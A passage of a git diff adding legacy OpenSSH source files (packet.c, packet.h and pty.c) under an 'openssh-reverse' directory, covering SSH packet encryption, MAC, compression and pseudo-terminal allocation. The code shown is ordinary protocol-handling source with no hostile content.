&kex->mac[MODE_OUT]; + comp = &kex->comp[MODE_OUT]; + } + block_size = enc ? enc->block_size : 8; + + cp = buffer_ptr(&outgoing_packet); + type = cp[5] & 0xff; + +#ifdef PACKET_DEBUG + fprintf(stderr, "plain: "); + buffer_dump(&outgoing_packet); +#endif + + if (comp && comp->enabled) { + len = buffer_len(&outgoing_packet); + /* skip header, compress only payload */ + buffer_consume(&outgoing_packet, 5); + buffer_clear(&compression_buffer); + buffer_compress(&outgoing_packet, &compression_buffer); + buffer_clear(&outgoing_packet); + buffer_append(&outgoing_packet, "\0\0\0\0\0", 5); + buffer_append(&outgoing_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + DBG(debug("compression: raw %d compressed %d", len, + buffer_len(&outgoing_packet))); + } + + /* sizeof (packet_len + pad_len + payload) */ + len = buffer_len(&outgoing_packet); + + /* + * calc size of padding, alloc space, get random data, + * minimum padding is 4 bytes + */ + padlen = block_size - (len % block_size); + if (padlen < 4) + padlen += block_size; + buffer_append_space(&outgoing_packet, &cp, padlen); + if (enc && enc->type != SSH_CIPHER_NONE) { + /* random padding */ + for (i = 0; i < padlen; i++) { + if (i % 4 == 0) + rand = arc4random(); + cp[i] = rand & 0xff; + rand <<= 8; + } + } else { + /* clear padding */ + memset(cp, 0, padlen); + } + /* packet_length includes payload, padding and padding length field */ + packet_length = buffer_len(&outgoing_packet) - 4; + cp = buffer_ptr(&outgoing_packet); + PUT_32BIT(cp, packet_length); + cp[4] = padlen & 0xff; + DBG(debug("send: len %d (includes padlen %d)", packet_length+4, padlen)); + + /* compute MAC over seqnr and packet(length fields, payload, padding) */ + if (mac && mac->enabled) { + macbuf = hmac( mac->md, seqnr, + (unsigned char *) buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet), + mac->key, mac->key_len + ); + DBG(debug("done calc HMAC out #%d", seqnr)); + } + /* encrypt packet and append to output buffer. */ + buffer_append_space(&output, &cp, buffer_len(&outgoing_packet)); + packet_encrypt(&send_context, cp, buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + /* append unencrypted MAC */ + if (mac && mac->enabled) + buffer_append(&output, (char *)macbuf, mac->mac_len); +#ifdef PACKET_DEBUG + fprintf(stderr, "encrypted: "); + buffer_dump(&output); +#endif + /* increment sequence number for outgoing packets */ + if (++seqnr == 0) + log("outgoing seqnr wraps around"); + buffer_clear(&outgoing_packet); + + if (type == SSH2_MSG_NEWKEYS) { + if (kex==NULL || mac==NULL || enc==NULL || comp==NULL) + fatal("packet_send2: no KEX"); + if (mac->md != NULL) + mac->enabled = 1; + DBG(debug("cipher_set_key_iv send_context")); + cipher_set_key_iv(&send_context, enc->type, + enc->key, enc->key_len, + enc->iv, enc->iv_len); + clear_enc_keys(enc, kex->we_need); + if (comp->type != 0 && comp->enabled == 0) { + comp->enabled = 1; + if (! packet_compression) + packet_start_compression(6); + } + } +} + +void +packet_send() +{ + if (use_ssh2_packet_format) + packet_send2(); + else + packet_send1(); + DBG(debug("packet_send done")); +} + +/* + * Waits until a packet has been received, and returns its type. Note that + * no other data is processed until this returns, so this function should not + * be used during the interactive session. + */ + +int +packet_read(int *payload_len_ptr) +{ + int type, len; + fd_set set; + char buf[8192]; + DBG(debug("packet_read()")); + + /* Since we are blocking, ensure that all written packets have been sent. */ + packet_write_wait(); + + /* Stay in the loop until we have received a complete packet. */ + for (;;) { + /* Try to read a packet from the buffer. */ + type = packet_read_poll(payload_len_ptr); + if (!use_ssh2_packet_format && ( + type == SSH_SMSG_SUCCESS + || type == SSH_SMSG_FAILURE + || type == SSH_CMSG_EOF + || type == SSH_CMSG_EXIT_CONFIRMATION)) + packet_integrity_check(*payload_len_ptr, 0, type); + /* If we got a packet, return it. */ + if (type != SSH_MSG_NONE) + return type; + /* + * Otherwise, wait for some data to arrive, add it to the + * buffer, and try again. + */ + FD_ZERO(&set); + FD_SET(connection_in, &set); + + /* Wait for some data to arrive. */ + select(connection_in + 1, &set, NULL, NULL, NULL); + + /* Read data from the socket. */ + len = read(connection_in, buf, sizeof(buf)); + if (len == 0) { + log("Connection closed by %.200s", get_remote_ipaddr()); + fatal_cleanup(); + } + if (len < 0) + fatal("Read from socket failed: %.100s", strerror(errno)); + /* Append it to the buffer. */ + packet_process_incoming(buf, len); + } + /* NOTREACHED */ +} + +/* + * Waits until a packet has been received, verifies that its type matches + * that given, and gives a fatal error and exits if there is a mismatch. + */ + +void +packet_read_expect(int *payload_len_ptr, int expected_type) +{ + int type; + + type = packet_read(payload_len_ptr); + if (type != expected_type) + packet_disconnect("Protocol error: expected packet type %d, got %d", + expected_type, type); +} + +/* Checks if a full packet is available in the data received so far via + * packet_process_incoming. If so, reads the packet; otherwise returns + * SSH_MSG_NONE. This does not wait for data from the connection. + * + * SSH_MSG_DISCONNECT is handled specially here. Also, + * SSH_MSG_IGNORE messages are skipped by this function and are never returned + * to higher levels. + * + * The returned payload_len does include space consumed by: + * Packet length + * Padding + * Packet type + * Check bytes + */ + +int +packet_read_poll1(int *payload_len_ptr) +{ + unsigned int len, padded_len; + unsigned char *ucp; + char buf[8], *cp; + unsigned int checksum, stored_checksum; + + /* Check if input size is less than minimum packet size. */ + if (buffer_len(&input) < 4 + 8) + return SSH_MSG_NONE; + /* Get length of incoming packet. */ + ucp = (unsigned char *) buffer_ptr(&input); + len = GET_32BIT(ucp); + if (len < 1 + 2 + 2 || len > 256 * 1024) + packet_disconnect("Bad packet length %d.", len); + padded_len = (len + 8) & ~7; + + /* Check if the packet has been entirely received. */ + if (buffer_len(&input) < 4 + padded_len) + return SSH_MSG_NONE; + + /* The entire packet is in buffer. */ + + /* Consume packet length. */ + buffer_consume(&input, 4); + + /* Copy data to incoming_packet. */ + buffer_clear(&incoming_packet); + buffer_append_space(&incoming_packet, &cp, padded_len); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), padded_len); + buffer_consume(&input, padded_len); + +#ifdef PACKET_DEBUG + fprintf(stderr, "read_poll plain: "); + buffer_dump(&incoming_packet); +#endif + + /* Compute packet checksum. */ + checksum = crc32((unsigned char *) buffer_ptr(&incoming_packet), + buffer_len(&incoming_packet) - 4); + + /* Skip padding. */ + buffer_consume(&incoming_packet, 8 - len % 8); + + /* Test check bytes. */ + + if (len != buffer_len(&incoming_packet)) + packet_disconnect("packet_read_poll: len %d != buffer_len %d.", + len, buffer_len(&incoming_packet)); + + ucp = (unsigned char *) buffer_ptr(&incoming_packet) + len - 4; + stored_checksum = GET_32BIT(ucp); + if (checksum != stored_checksum) + packet_disconnect("Corrupted check bytes on input."); + buffer_consume_end(&incoming_packet, 4); + + /* If using packet compression, decompress the packet. */ + if (packet_compression) { + buffer_clear(&compression_buffer); + buffer_uncompress(&incoming_packet, &compression_buffer); + buffer_clear(&incoming_packet); + buffer_append(&incoming_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + } + /* Get packet type. */ + buffer_get(&incoming_packet, &buf[0], 1); + + /* Return length of payload (without type field). */ + *payload_len_ptr = buffer_len(&incoming_packet); + + /* Return type. */ + return (unsigned char) buf[0]; +} + +int +packet_read_poll2(int *payload_len_ptr) +{ + unsigned int padlen, need; + unsigned char buf[8], *macbuf; + unsigned char *ucp; + char *cp; + static unsigned int packet_length = 0; + static unsigned int seqnr = 0; + int type; + int maclen, block_size; + Enc *enc = NULL; + Mac *mac = NULL; + Comp *comp = NULL; + + if (kex != NULL) { + enc = &kex->enc[MODE_IN]; + mac = &kex->mac[MODE_IN]; + comp = &kex->comp[MODE_IN]; + } + maclen = mac && mac->enabled ? mac->mac_len : 0; + block_size = enc ? enc->block_size : 8; + + if (packet_length == 0) { + /* + * check if input size is less than the cipher block size, + * decrypt first block and extract length of incoming packet + */ + if (buffer_len(&input) < block_size) + return SSH_MSG_NONE; + buffer_clear(&incoming_packet); + buffer_append_space(&incoming_packet, &cp, block_size); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), + block_size); + ucp = (unsigned char *) buffer_ptr(&incoming_packet); + packet_length = GET_32BIT(ucp); + if (packet_length < 1 + 4 || packet_length > 256 * 1024) { + buffer_dump(&incoming_packet); + packet_disconnect("Bad packet length %d.", packet_length); + } + DBG(debug("input: packet len %d", packet_length+4)); + buffer_consume(&input, block_size); + } + /* we have a partial packet of block_size bytes */ + need = 4 + packet_length - block_size; + DBG(debug("partial packet %d, need %d, maclen %d", block_size, + need, maclen)); + if (need % block_size != 0) + fatal("padding error: need %d block %d mod %d", + need, block_size, need % block_size); + /* + * check if the entire packet has been received and + * decrypt into incoming_packet + */ + if (buffer_len(&input) < need + maclen) + return SSH_MSG_NONE; +#ifdef PACKET_DEBUG + fprintf(stderr, "read_poll enc/full: "); + buffer_dump(&input); +#endif + buffer_append_space(&incoming_packet, &cp, need); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), need); + buffer_consume(&input, need); + /* + * compute MAC over seqnr and packet, + * increment sequence number for incoming packet + */ + if (mac && mac->enabled) { + macbuf = hmac( mac->md, seqnr, + (unsigned char *) buffer_ptr(&incoming_packet), + buffer_len(&incoming_packet), + mac->key, mac->key_len + ); + if (memcmp(macbuf, buffer_ptr(&input), mac->mac_len) != 0) + packet_disconnect("Corrupted HMAC on input."); + DBG(debug("HMAC #%d ok", seqnr)); + buffer_consume(&input, mac->mac_len); + } + if (++seqnr == 0) + log("incoming seqnr wraps around"); + + /* get padlen */ + cp = buffer_ptr(&incoming_packet) + 4; + padlen = *cp & 0xff; + DBG(debug("input: padlen %d", padlen)); + if (padlen < 4) + packet_disconnect("Corrupted padlen %d on input.", padlen); + + /* skip packet size + padlen, discard padding */ + buffer_consume(&incoming_packet, 4 + 1); + buffer_consume_end(&incoming_packet, padlen); + + DBG(debug("input: len before de-compress %d", buffer_len(&incoming_packet))); + if (comp && comp->enabled) { + buffer_clear(&compression_buffer); + buffer_uncompress(&incoming_packet, &compression_buffer); + buffer_clear(&incoming_packet); + buffer_append(&incoming_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + DBG(debug("input: len after de-compress %d", buffer_len(&incoming_packet))); + } + /* + * get packet type, implies consume. + * return length of payload (without type field) + */ + buffer_get(&incoming_packet, (char *)&buf[0], 1); + *payload_len_ptr = buffer_len(&incoming_packet); + + /* reset for next packet */ + packet_length = 0; + + /* extract packet type */ + type = (unsigned char)buf[0]; + + if (type == SSH2_MSG_NEWKEYS) { + if (kex==NULL || mac==NULL || enc==NULL || comp==NULL) + fatal("packet_read_poll2: no KEX"); + if (mac->md != NULL) + mac->enabled = 1; + DBG(debug("cipher_set_key_iv receive_context")); + cipher_set_key_iv(&receive_context, enc->type, + enc->key, enc->key_len, + enc->iv, enc->iv_len); + clear_enc_keys(enc, kex->we_need); + if (comp->type != 0 && comp->enabled == 0) { + comp->enabled = 1; + if (! packet_compression) + packet_start_compression(6); + } + } + +#ifdef PACKET_DEBUG + fprintf(stderr, "read/plain[%d]:\r\n",type); + buffer_dump(&incoming_packet); +#endif + return (unsigned char)type; +} + +int +packet_read_poll(int *payload_len_ptr) +{ + char *msg; + for (;;) { + int type = use_ssh2_packet_format ? + packet_read_poll2(payload_len_ptr): + packet_read_poll1(payload_len_ptr); + + if(compat20) { + int reason; + if (type != 0) + DBG(debug("received packet type %d", type)); + switch(type) { + case SSH2_MSG_IGNORE: + break; + case SSH2_MSG_DEBUG: + packet_get_char(); + msg = packet_get_string(NULL); + debug("Remote: %.900s", msg); + xfree(msg); + msg = packet_get_string(NULL); + xfree(msg); + break; + case SSH2_MSG_DISCONNECT: + reason = packet_get_int(); + msg = packet_get_string(NULL); + log("Received disconnect: %d: %.900s", reason, msg); + xfree(msg); + fatal_cleanup(); + break; + default: + return type; + break; + } + } else { + switch(type) { + case SSH_MSG_IGNORE: + break; + case SSH_MSG_DEBUG: + msg = packet_get_string(NULL); + debug("Remote: %.900s", msg); + xfree(msg); + break; + case SSH_MSG_DISCONNECT: + msg = packet_get_string(NULL); + log("Received disconnect: %.900s", msg); + fatal_cleanup(); + xfree(msg); + break; + default: + if (type != 0) + DBG(debug("received packet type %d", type)); + return type; + break; + } + } + } +} + +/* + * Buffers the given amount of input characters. This is intended to be used + * together with packet_read_poll. + */ + +void +packet_process_incoming(const char *buf, unsigned int len) +{ + buffer_append(&input, buf, len); +} + +/* Returns a character from the packet. */ + +unsigned int +packet_get_char() +{ + char ch; + buffer_get(&incoming_packet, &ch, 1); + return (unsigned char) ch; +} + +/* Returns an integer from the packet data. */ + +unsigned int +packet_get_int() +{ + return buffer_get_int(&incoming_packet); +} + +/* + * Returns an arbitrary precision integer from the packet data. The integer + * must have been initialized before this call. + */ + +void +packet_get_bignum(BIGNUM * value, int *length_ptr) +{ + *length_ptr = buffer_get_bignum(&incoming_packet, value); +} + +void +packet_get_bignum2(BIGNUM * value, int *length_ptr) +{ + *length_ptr = buffer_get_bignum2(&incoming_packet, value); +} + +char * +packet_get_raw(int *length_ptr) +{ + int bytes = buffer_len(&incoming_packet); + if (length_ptr != NULL) + *length_ptr = bytes; + return buffer_ptr(&incoming_packet); +} + +int +packet_remaining(void) +{ + return buffer_len(&incoming_packet); +} + +/* + * Returns a string from the packet data. The string is allocated using + * xmalloc; it is the responsibility of the calling program to free it when + * no longer needed. The length_ptr argument may be NULL, or point to an + * integer into which the length of the string is stored. + */ + +char * +packet_get_string(unsigned int *length_ptr) +{ + return buffer_get_string(&incoming_packet, length_ptr); +} + +/* + * Sends a diagnostic message from the server to the client. This message + * can be sent at any time (but not while constructing another message). The + * message is printed immediately, but only if the client is being executed + * in verbose mode. These messages are primarily intended to ease debugging + * authentication problems. The length of the formatted message must not + * exceed 1024 bytes. This will automatically call packet_write_wait. + */ + +void +packet_send_debug(const char *fmt,...) +{ + char buf[1024]; + va_list args; + + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + + if (compat20) { + packet_start(SSH2_MSG_DEBUG); + packet_put_char(0); /* bool: always display */ + packet_put_cstring(buf); + packet_put_cstring(""); + } else { + packet_start(SSH_MSG_DEBUG); + packet_put_cstring(buf); + } + packet_send(); + packet_write_wait(); +} + +/* + * Logs the error plus constructs and sends a disconnect packet, closes the + * connection, and exits. This function never returns. The error message + * should not contain a newline. The length of the formatted message must + * not exceed 1024 bytes. + */ + +void +packet_disconnect(const char *fmt,...) +{ + char buf[1024]; + va_list args; + static int disconnecting = 0; + if (disconnecting) /* Guard against recursive invocations. */ + fatal("packet_disconnect called recursively."); + disconnecting = 1; + + /* + * Format the message. Note that the caller must make sure the + * message is of limited size. + */ + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + + /* Send the disconnect message to the other side, and wait for it to get sent. */ + if (compat20) { + packet_start(SSH2_MSG_DISCONNECT); + packet_put_int(SSH2_DISCONNECT_PROTOCOL_ERROR); + packet_put_cstring(buf); + packet_put_cstring(""); + } else { + packet_start(SSH_MSG_DISCONNECT); + packet_put_string(buf, strlen(buf)); + } + packet_send(); + packet_write_wait(); + + /* Stop listening for connections. */ + channel_stop_listening(); + + /* Close the connection. */ + packet_close(); + + /* Display the error locally and exit. */ + log("Disconnecting: %.100s", buf); + fatal_cleanup(); +} + +/* Checks if there is any buffered output, and tries to write some of the output. */ + +void +packet_write_poll() +{ + int len = buffer_len(&output); + if (len > 0) { + len = write(connection_out, buffer_ptr(&output), len); + if (len <= 0) { + if (errno == EAGAIN) + return; + else + fatal("Write failed: %.100s", strerror(errno)); + } + buffer_consume(&output, len); + } +} + +/* + * Calls packet_write_poll repeatedly until all pending output data has been + * written. + */ + +void +packet_write_wait() +{ + packet_write_poll(); + while (packet_have_data_to_write()) { + fd_set set; + FD_ZERO(&set); + FD_SET(connection_out, &set); + select(connection_out + 1, NULL, &set, NULL, NULL); + packet_write_poll(); + } +} + +/* Returns true if there is buffered data to write to the connection. */ + +int +packet_have_data_to_write() +{ + return buffer_len(&output) != 0; +} + +/* Returns true if there is not too much data to write to the connection. */ + +int +packet_not_very_much_data_to_write() +{ + if (interactive_mode) + return buffer_len(&output) < 16384; + else + return buffer_len(&output) < 128 * 1024; +} + +/* Informs that the current session is interactive. Sets IP flags for that. */ + +void +packet_set_interactive(int interactive, int keepalives) +{ + int on = 1; + + /* Record that we are in interactive mode. */ + interactive_mode = interactive; + + /* Only set socket options if using a socket. */ + if (!packet_connection_is_on_socket()) + return; + if (keepalives) { + /* Set keepalives if requested. */ + if (setsockopt(connection_in, SOL_SOCKET, SO_KEEPALIVE, (void *) &on, + sizeof(on)) < 0) + error("setsockopt SO_KEEPALIVE: %.100s", strerror(errno)); + } + /* + * IPTOS_LOWDELAY, TCP_NODELAY and IPTOS_THROUGHPUT are IPv4 only + */ + if (!packet_connection_is_ipv4()) + return; + if (interactive) { + /* + * Set IP options for an interactive connection. Use + * IPTOS_LOWDELAY and TCP_NODELAY. + */ +#if defined(IP_TOS) && !defined(IP_TOS_IS_BROKEN) + int lowdelay = IPTOS_LOWDELAY; + if (setsockopt(connection_in, IPPROTO_IP, IP_TOS, (void *) &lowdelay, + sizeof(lowdelay)) < 0) + error("setsockopt IPTOS_LOWDELAY: %.100s", strerror(errno)); +#endif + if (setsockopt(connection_in, IPPROTO_TCP, TCP_NODELAY, (void *) &on, + sizeof(on)) < 0) + error("setsockopt TCP_NODELAY: %.100s", strerror(errno)); + } else { + /* + * Set IP options for a non-interactive connection. Use + * IPTOS_THROUGHPUT. + */ +#if defined(IP_TOS) && !defined(IP_TOS_IS_BROKEN) + int throughput = IPTOS_THROUGHPUT; + if (setsockopt(connection_in, IPPROTO_IP, IP_TOS, (void *) &throughput, + sizeof(throughput)) < 0) + error("setsockopt IPTOS_THROUGHPUT: %.100s", strerror(errno)); +#endif + } +} + +/* Returns true if the current connection is interactive. */ + +int +packet_is_interactive() +{ + return interactive_mode; +} + +int +packet_set_maxsize(int s) +{ + static int called = 0; + if (called) { + log("packet_set_maxsize: called twice: old %d new %d", + max_packet_size, s); + return -1; + } + if (s < 4 * 1024 || s > 1024 * 1024) { + log("packet_set_maxsize: bad size %d", s); + return -1; + } + log("packet_set_maxsize: setting to %d", s); + max_packet_size = s; + return s; +} diff --git a/other/openssh-reverse/packet.h b/other/openssh-reverse/packet.h new file mode 100644 index 0000000..015d9ec --- /dev/null +++ b/other/openssh-reverse/packet.h @@ -0,0 +1,219 @@ +/* + * + * packet.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 02:02:14 1995 ylo + * + * Interface for the packet protocol functions. + * + */ + +/* RCSID("$OpenBSD: packet.h,v 1.16 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef PACKET_H +#define PACKET_H + +#include + +/* + * Sets the socket used for communication. Disables encryption until + * packet_set_encryption_key is called. It is permissible that fd_in and + * fd_out are the same descriptor; in that case it is assumed to be a socket. + */ +void packet_set_connection(int fd_in, int fd_out); + +/* Puts the connection file descriptors into non-blocking mode. */ +void packet_set_nonblocking(void); + +/* Returns the file descriptor used for input. */ +int packet_get_connection_in(void); + +/* Returns the file descriptor used for output. */ +int packet_get_connection_out(void); + +/* + * Closes the connection (both descriptors) and clears and frees internal + * data structures. + */ +void packet_close(void); + +/* + * Causes any further packets to be encrypted using the given key. The same + * key is used for both sending and reception. However, both directions are + * encrypted independently of each other. Cipher types are defined in ssh.h. + */ +void +packet_set_encryption_key(const unsigned char *key, unsigned int keylen, + int cipher_type); + +/* + * Sets remote side protocol flags for the current connection. This can be + * called at any time. + */ +void packet_set_protocol_flags(unsigned int flags); + +/* Returns the remote protocol flags set earlier by the above function. */ +unsigned int packet_get_protocol_flags(void); + +/* Enables compression in both directions starting from the next packet. */ +void packet_start_compression(int level); + +/* + * Informs that the current session is interactive. Sets IP flags for + * optimal performance in interactive use. + */ +void packet_set_interactive(int interactive, int keepalives); + +/* Returns true if the current connection is interactive. */ +int packet_is_interactive(void); + +/* Starts constructing a packet to send. */ +void packet_start(int type); + +/* Appends a character to the packet data. */ +void packet_put_char(int ch); + +/* Appends an integer to the packet data. */ +void packet_put_int(unsigned int value); + +/* Appends an arbitrary precision integer to packet data. */ +void packet_put_bignum(BIGNUM * value); +void packet_put_bignum2(BIGNUM * value); + +/* Appends a string to packet data. */ +void packet_put_string(const char *buf, unsigned int len); +void packet_put_cstring(const char *str); +void packet_put_raw(const char *buf, unsigned int len); + +/* + * Finalizes and sends the packet. If the encryption key has been set, + * encrypts the packet before sending. + */ +void packet_send(void); + +/* Waits until a packet has been received, and returns its type. */ +int packet_read(int *payload_len_ptr); + +/* + * Waits until a packet has been received, verifies that its type matches + * that given, and gives a fatal error and exits if there is a mismatch. + */ +void packet_read_expect(int *payload_len_ptr, int type); + +/* + * Checks if a full packet is available in the data received so far via + * packet_process_incoming. If so, reads the packet; otherwise returns + * SSH_MSG_NONE. This does not wait for data from the connection. + * SSH_MSG_DISCONNECT is handled specially here. Also, SSH_MSG_IGNORE + * messages are skipped by this function and are never returned to higher + * levels. + */ +int packet_read_poll(int *packet_len_ptr); + +/* + * Buffers the given amount of input characters. This is intended to be used + * together with packet_read_poll. + */ +void packet_process_incoming(const char *buf, unsigned int len); + +/* Returns a character (0-255) from the packet data. */ +unsigned int packet_get_char(void); + +/* Returns an integer from the packet data. */ +unsigned int packet_get_int(void); + +/* + * Returns an arbitrary precision integer from the packet data. The integer + * must have been initialized before this call. + */ +void packet_get_bignum(BIGNUM * value, int *length_ptr); +void packet_get_bignum2(BIGNUM * value, int *length_ptr); +char *packet_get_raw(int *length_ptr); + +/* + * Returns a string from the packet data. The string is allocated using + * xmalloc; it is the responsibility of the calling program to free it when + * no longer needed. The length_ptr argument may be NULL, or point to an + * integer into which the length of the string is stored. + */ +char *packet_get_string(unsigned int *length_ptr); + +/* + * Logs the error in syslog using LOG_INFO, constructs and sends a disconnect + * packet, closes the connection, and exits. This function never returns. + * The error message should not contain a newline. The total length of the + * message must not exceed 1024 bytes. + */ +void packet_disconnect(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* + * Sends a diagnostic message to the other side. This message can be sent at + * any time (but not while constructing another message). The message is + * printed immediately, but only if the client is being executed in verbose + * mode. These messages are primarily intended to ease debugging + * authentication problems. The total length of the message must not exceed + * 1024 bytes. This will automatically call packet_write_wait. If the + * remote side protocol flags do not indicate that it supports SSH_MSG_DEBUG, + * this will do nothing. + */ +void packet_send_debug(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* Checks if there is any buffered output, and tries to write some of the output. */ +void packet_write_poll(void); + +/* Waits until all pending output data has been written. */ +void packet_write_wait(void); + +/* Returns true if there is buffered data to write to the connection. */ +int packet_have_data_to_write(void); + +/* Returns true if there is not too much data to write to the connection. */ +int packet_not_very_much_data_to_write(void); + +/* maximum packet size, requested by client with SSH_CMSG_MAX_PACKET_SIZE */ +extern int max_packet_size; +int packet_set_maxsize(int s); +#define packet_get_maxsize() max_packet_size + +/* Stores tty modes from the fd into current packet. */ +void tty_make_modes(int fd); + +/* Parses tty modes for the fd from the current packet. */ +void tty_parse_modes(int fd, int *n_bytes_ptr); + +#define packet_integrity_check(payload_len, expected_len, type) \ +do { \ + int _p = (payload_len), _e = (expected_len); \ + if (_p != _e) { \ + log("Packet integrity error (%d != %d) at %s:%d", \ + _p, _e, __FILE__, __LINE__); \ + packet_disconnect("Packet integrity error. (%d)", (type)); \ + } \ +} while (0) + +#define packet_done() \ +do { \ + int _len = packet_remaining(); \ + if (_len > 0) { \ + log("Packet integrity error (%d bytes remaining) at %s:%d", \ + _len ,__FILE__, __LINE__); \ + packet_disconnect("Packet integrity error."); \ + } \ +} while (0) + +/* remote host is connected via a socket/ipv4 */ +int packet_connection_is_on_socket(void); +int packet_connection_is_ipv4(void); + +/* enable SSH2 packet format */ +void packet_set_ssh2_format(void); + +/* returns remaining payload bytes */ +int packet_remaining(void); + +#endif /* PACKET_H */ diff --git a/other/openssh-reverse/pty.c b/other/openssh-reverse/pty.c new file mode 100644 index 0000000..a6c238b --- /dev/null +++ b/other/openssh-reverse/pty.c @@ -0,0 +1,302 @@ +/* + * + * pty.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 04:37:25 1995 ylo + * + * Allocating a pseudo-terminal, and making it the controlling tty. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: pty.c,v 1.14 2000/06/20 01:39:43 markus Exp $"); + +#ifdef HAVE_UTIL_H +# include +#endif /* HAVE_UTIL_H */ + +#include "pty.h" +#include "ssh.h" + +/* Pty allocated with _getpty gets broken if we do I_PUSH:es to it. */ +#if defined(HAVE__GETPTY) || defined(HAVE_OPENPTY) +#undef HAVE_DEV_PTMX +#endif + +#ifdef HAVE_PTY_H +# include +#endif +#if defined(HAVE_DEV_PTMX) && defined(HAVE_SYS_STROPTS_H) +# include +#endif + +#ifndef O_NOCTTY +#define O_NOCTTY 0 +#endif + +/* + * Allocates and opens a pty. Returns 0 if no pty could be allocated, or + * nonzero if a pty was successfully allocated. On success, open file + * descriptors for the pty and tty sides and the name of the tty side are + * returned (the buffer must be able to hold at least 64 characters). + */ + +int +pty_allocate(int *ptyfd, int *ttyfd, char *namebuf, int namebuflen) +{ +#if defined(HAVE_OPENPTY) || defined(BSD4_4) + /* openpty(3) exists in OSF/1 and some other os'es */ + char buf[64]; + int i; + + i = openpty(ptyfd, ttyfd, buf, NULL, NULL); + if (i < 0) { + error("openpty: %.100s", strerror(errno)); + return 0; + } + strlcpy(namebuf, buf, namebuflen); /* possible truncation */ + return 1; +#else /* HAVE_OPENPTY */ +#ifdef HAVE__GETPTY + /* + * _getpty(3) exists in SGI Irix 4.x, 5.x & 6.x -- it generates more + * pty's automagically when needed + */ + char *slave; + + slave = _getpty(ptyfd, O_RDWR, 0622, 0); + if (slave == NULL) { + error("_getpty: %.100s", strerror(errno)); + return 0; + } + strlcpy(namebuf, slave, namebuflen); + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.200s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; +#else /* HAVE__GETPTY */ +#if defined(HAVE_DEV_PTMX) + /* + * This code is used e.g. on Solaris 2.x. (Note that Solaris 2.3 + * also has bsd-style ptys, but they simply do not work.) + */ + int ptm; + char *pts; + + ptm = open("/dev/ptmx", O_RDWR | O_NOCTTY); + if (ptm < 0) { + error("/dev/ptmx: %.100s", strerror(errno)); + return 0; + } + if (grantpt(ptm) < 0) { + error("grantpt: %.100s", strerror(errno)); + return 0; + } + if (unlockpt(ptm) < 0) { + error("unlockpt: %.100s", strerror(errno)); + return 0; + } + pts = ptsname(ptm); + if (pts == NULL) + error("Slave pty side name could not be obtained."); + strlcpy(namebuf, pts, namebuflen); + *ptyfd = ptm; + + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.100s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + /* Push the appropriate streams modules, as described in Solaris pts(7). */ + if (ioctl(*ttyfd, I_PUSH, "ptem") < 0) + error("ioctl I_PUSH ptem: %.100s", strerror(errno)); + if (ioctl(*ttyfd, I_PUSH, "ldterm") < 0) + error("ioctl I_PUSH ldterm: %.100s", strerror(errno)); +#ifndef _HPUX_SOURCE + if (ioctl(*ttyfd, I_PUSH, "ttcompat") < 0) + error("ioctl I_PUSH ttcompat: %.100s", strerror(errno)); +#endif + return 1; +#else /* HAVE_DEV_PTMX */ +#ifdef HAVE_DEV_PTS_AND_PTC + /* AIX-style pty code. */ + const char *name; + + *ptyfd = open("/dev/ptc", O_RDWR | O_NOCTTY); + if (*ptyfd < 0) { + error("Could not open /dev/ptc: %.100s", strerror(errno)); + return 0; + } + name = ttyname(*ptyfd); + if (!name) + fatal("Open of /dev/ptc returns device for which ttyname fails."); + strlcpy(namebuf, name, namebuflen); + *ttyfd = open(name, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("Could not open pty slave side %.100s: %.100s", + name, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; +#else /* HAVE_DEV_PTS_AND_PTC */ + /* BSD-style pty code. */ + char buf[64]; + int i; + const char *ptymajors = "pqrstuvwxyzabcdefghijklmnoABCDEFGHIJKLMNOPQRSTUVWXYZ"; + const char *ptyminors = "0123456789abcdef"; + int num_minors = strlen(ptyminors); + int num_ptys = strlen(ptymajors) * num_minors; + + for (i = 0; i < num_ptys; i++) { + snprintf(buf, sizeof buf, "/dev/pty%c%c", ptymajors[i / num_minors], + ptyminors[i % num_minors]); + *ptyfd = open(buf, O_RDWR | O_NOCTTY); + if (*ptyfd < 0) + continue; + snprintf(namebuf, namebuflen, "/dev/tty%c%c", + ptymajors[i / num_minors], ptyminors[i % num_minors]); + + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.100s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; + } + return 0; +#endif /* HAVE_DEV_PTS_AND_PTC */ +#endif /* HAVE_DEV_PTMX */ +#endif /* HAVE__GETPTY */ +#endif /* HAVE_OPENPTY */ +} + +/* Releases the tty. Its ownership is returned to root, and permissions to 0666. */ + +void +pty_release(const char *ttyname) +{ + if (chown(ttyname, (uid_t) 0, (gid_t) 0) < 0) + error("chown %.100s 0 0 failed: %.100s", ttyname, strerror(errno)); + if (chmod(ttyname, (mode_t) 0666) < 0) + error("chmod %.100s 0666 failed: %.100s", ttyname, strerror(errno)); +} + +/* Makes the tty the processes controlling tty and sets it to sane modes. */ + +void +pty_make_controlling_tty(int 